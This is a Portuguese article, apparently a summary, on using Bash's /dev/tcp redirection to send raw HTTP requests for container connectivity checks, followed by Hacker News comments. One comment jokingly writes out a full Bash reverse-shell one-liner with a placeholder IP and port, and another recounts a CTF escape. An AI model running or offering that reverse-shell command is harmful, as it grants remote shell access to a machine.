- Em imagens de contêiner mínimas, muitas vezes curl ou wget não estão presentes, então é útil ter uma alternativa para verificar a conectividade com serviços internos sem instalar pacotes
- O redirecionamento
/dev/tcp/host/port do Bash pode abrir um socket TCP, permitindo escrever manualmente uma string de requisição HTTP/1.1 e ler a resposta
/dev/tcp não é um caminho real no sistema de arquivos, mas um recurso interno do Bash, então ls /dev/tcp ou abordagens normais de acesso a arquivos em outros shells não funcionam
- Esse método é uma técnica simples de depuração que não lida com redirecionamentos, respostas chunked, compressão, tentativas automáticas nem TLS, e sem
Connection: close o cat pode ficar aguardando
- Para tarefas HTTP do dia a dia, o ideal continua sendo o curl, mas em contêineres pequenos onde é difícil adicionar ferramentas, isso já basta para uma checagem rápida de conectividade
Escrevendo uma requisição HTTP com descritores de arquivo do Bash
- Era preciso verificar se era possível acessar o endpoint
/health de outro serviço em uma rede Docker interna, mas a imagem não tinha curl nem wget
- O Bash consegue conectar um socket TCP a um descritor de arquivo, então é possível montar e enviar diretamente uma requisição HTTP assim
exec 3<>/dev/tcp/service/8642
printf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3
cat <&3
service precisa ser um nome de host que possa ser resolvido e alcançado a partir do local onde o comando está sendo executado
- Pode ser o nome de um contêiner ou serviço configurado na rede Docker
- Também pode ser um nome DNS resolvível
- O host e a porta devem ser ajustados ao seu ambiente
- A saída da resposta inclui a linha de status, os cabeçalhos, uma linha em branco e o corpo
- Para adicionar cabeçalhos, basta incluir mais linhas terminadas em
\r\n antes da linha em branco que encerra a requisição
exec 3<>/dev/tcp/service/8642
printf 'GET /v1/models HTTP/1.1\r\nHost: service\r\nAuthorization: Bearer %s\r\nConnection: close\r\n\r\n' "$API_KEY" >&3
cat <&3
Por que /dev/tcp não é um arquivo real
/dev/tcp não é um arquivo de dispositivo real, mas um redirecionamento tratado pelo Bash
- Como esse caminho não existe em disco,
ls /dev/tcp falha
- Executar
cat /dev/tcp/... em outro shell também gera erro
- Segundo o manual do Bash, em
/dev/tcp/host/port, se host for um nome de host válido ou endereço de internet e port for um número inteiro de porta ou nome de serviço, o Bash tentará abrir um socket TCP
- O Bash faz a consulta DNS e executa
connect(2), e exec 3<> conecta o socket ao descritor de arquivo 3, permitindo leitura e escrita
Uma ferramenta temporária de inspeção, não um substituto para cliente HTTP
- Essa abordagem não é um cliente HTTP de verdade, então não lida com redirecionamentos, respostas chunked, compressão, tentativas automáticas, TLS etc.
- O cabeçalho
Connection: close é importante
- Sem ele, o servidor pode manter a conexão aberta conforme o padrão do HTTP/1.1
- Nesse caso,
cat <&3 pode nunca terminar, esperando por EOF
- Você pode envolver o comando com algo como
timeout 6 bash -c '...' para se proteger também contra casos em que a conexão não é fechada
- Como
/dev/tcp abre um socket bruto, isso vale apenas para HTTP em texto puro; para https, é preciso usar openssl s_client
- Como não é um recurso POSIX e sim do Bash, não funciona no
dash do /bin/sh do Debian nem no zsh; é preciso chamar bash diretamente
- Trata-se de uma opção de compilação ativada em builds do Bash com
--enable-net-redirections
- Em resumo, em vez de ser uma ferramenta genérica para substituir o curl, isso é mais adequado para verificar rapidamente a conectividade em contêineres pequenos onde não é possível adicionar instalações
1 comentários
Comentários do Hacker News
No fim dos anos 90, quando era criança, fiquei chocado ao descobrir que dava para conectar com
telnetnas portas 80, 25 e 110 e conversar diretamente com o servidorEra possível digitar manualmente uma requisição simples
GET / HTTP/1.1, ou enviar e-mail pela porta 25 comHELO,mail-from,mail-to, e buscar a lista da caixa postal e mensagens individuais via POP3Essa experiência foi o começo da percepção de que “não existe mágica”, e de que todas as partes do computador foram feitas por pessoas e, com esforço, podem ser entendidas até certo nível
No futuro, a maior parte provavelmente será delegada a agentes, mas para quem quiser aprender como as coisas realmente funcionam sem os filtros do modelo e das proteções, parece que ainda vão restar brechas interessantes em vários sistemas
jacques.chirac@elysee.fre parecer um hacker para os amigosEra uma estrutura com um monte de siglas por cima de várias formas de criar, enviar e ler arquivos de texto estruturados
Um dia percebi que até banco de dados é arquivo de texto e precisei sentar por um momento
telnetem POP3 e SMTP, respectivamenteTLS também não funciona com
telnet, e muitos servidores só devolvem redirecionamento para requisições HTTPSe usar
openssl s_clientno lugar detelnet, dá para tunelar texto dentro de TLS, embora isso pareça um pouco gambiarraTambém é uma pena que muitos protocolos modernos prefiram codificação binária, o que dificulta mexer neles no nível da linha sem ferramentas específicas
Ainda assim, parece que no futuro sempre vai haver gente explorando esse tipo de coisa, e tecnologias antigas, como acender fogo com gravetos ou assar tijolos de barro, são divertidas e às vezes realmente úteis
Pelo contrário, a IA até facilita experimentos, porque dá para perguntar a um LLM em vez de vasculhar RFCs e aprender, por exemplo, a maior parte dos comandos comuns de IMAP
O
zshtem, além do/dev/tcpdo Bash, os móduloszsh/net/tcpezsh/zftphttps://zsh.sourceforge.io/Doc/Release/TCP-Function-System.h...
https://zsh.sourceforge.io/Doc/Release/Zsh-Modules.html#The-...
https://zsh.sourceforge.io/Doc/Release/Zftp-Function-System....
O Plan 9 tinha de fato um sistema de arquivos sintético
/net, então era possível fazer esse tipo de tarefa e mais em qualquer programaTambém dava para montar o
/netde outra máquina via protocolo 9P e usar como uma espécie de VPN improvisada, e dá para experimentar isso no Linux com o 9frontTambém dá para ver vestígios do
/netao estilo Plan 9 na biblioteca de Go, o que parece legado do Rob PikeFunciona bem com
example.comAbra com
exec 3<>/dev/tcp/example.com/80, envieprintf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' >&3e depois façacat <&3, e sairáHTTP/1.1 200 OKHoje em dia há poucos domínios que não forçam HTTPS, então, para esse tipo de teste, no fim você acaba indo para example.com
example.comútil quando algo dá erradoSe você abrir http://example.com no navegador, será redirecionado de volta para a página do portal cativo e poderá concluir de novo o processo de acesso à internet
printfO
\rdeveria estar lá, mas mesmo sem ele costuma funcionarDá para fazer a piada de que, para conversar com o computador de um amigo, todo mundo usa
bash -i >& /dev/tcp/IP/PORT 0>&1O Bash não está “falando HTTP”; ele apenas permite abrir sockets TCP
O que se faz aqui é falar HTTP manualmente, o que serve para teste ou depuração e até é divertido de fazer na mão, mas usar esse falso cliente HTTP em ambiente real não assistido é pedir problema
Esse código de brinquedo pode quebrar porque não faz o parsing de HTTP corretamente
Claro, também dá para escrever um cliente HTTP/1.1 completo em Bash, e até fazer um servidor HTTP em Bash: https://github.com/bahamas10/bash-web-server
Uma opção menos insana costuma ser
nc, e na maioria das vezes ela é mais sensataO Bash não consegue escutar sockets TCP/UDP para aceitar conexões de entrada
O projeto
bash-web-servercompila um listener de sockets em C e o carrega dinamicamente em tempo de execução como um módulo “embutido” para fornecer essa funcionalidade[0] https://github.com/bahamas10/bash-web-server/tree/main/loada...
ncou alguma ferramenta parecida da família netcat seria uma escolha melhor, mas a imagem que eu estava usando na época não tinha esse tipo de ferramentaEu já digitava requisições HTTP manualmente desde antes do HTTP/1.1 e do cabeçalho obrigatório
HostUsar isso para algo sério é insanidade, e implementar um servidor web em Bash também, mas para testes rápidos é até bem útil
https://sdomi.pl/weblog/15-witchcraft-minecraft-server-in-ba...
Aprendi isso vendo a equipe Bauhinia usar esse método para resolver um problema de CTF
Era um CTF com várias etapas, e no começo você obtinha um shell
systempor meio de uma cadeia ROP, mas era praticamente um ambiente de prisão onde não dava para executar nada além de BashO máximo que dava para usar era
readecat, então usamoscat /dev/tcp, redirecionamos isso para um terminal virtual, e lemos o conteúdo para obter uma URL de sistema interno e encontrar a flagDescobri esse método ao verificar a conectividade entre contêineres em uma rede Docker interna, porque a imagem não tinha nem
curlnemwgetO que me surpreendeu foi o Bash ter
/dev/tcp, permitindo montar algo parecido com uma requisição HTTP com um pouco de magia de shellPor exemplo, basta abrir com
exec 3<>/dev/tcp/service/8642, enviarprintf 'GET /health HTTP/1.1\r\nHost: service\r\nConnection: close\r\n\r\n' >&3e depois fazercat <&3Aqui,
serviceé o nome do host de destino e8642é a porta com a qual você quer tentar falar HTTPNão consigo pensar em nenhuma desvantagem, e considero isso quase indispensável até em imagens de produção
Em versões antigas do Debian e de distribuições derivadas do Debian, esse recurso não funcionava, porque o acesso TCP por meio de arquivos virtuais vinha desativado por padrão
Pelo que entendo, a posição mudou em 2009 e o recurso foi ativado, e há discussão e links no Bug #146464
<https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=146464#37>
Além disso, há várias outras formas de acessar funções de rede diretamente a partir de ferramentas de shell, como
curl,wget, os comandosHEADeGETdo Perl,netcat/nc,socat,telnetetc.Lembro de, quando era adolescente, assustar outras pessoas enviando mensagens sinistras com
echopara o/dev/pttydelasAs mensagens que eu mandava apareciam magicamente no terminal aberto da outra pessoa
Até hoje não sei por que, no laboratório de informática, usavam contas diferentes para cada cliente sem bloquear isso; talvez fosse apenas uma limitação do VAX na época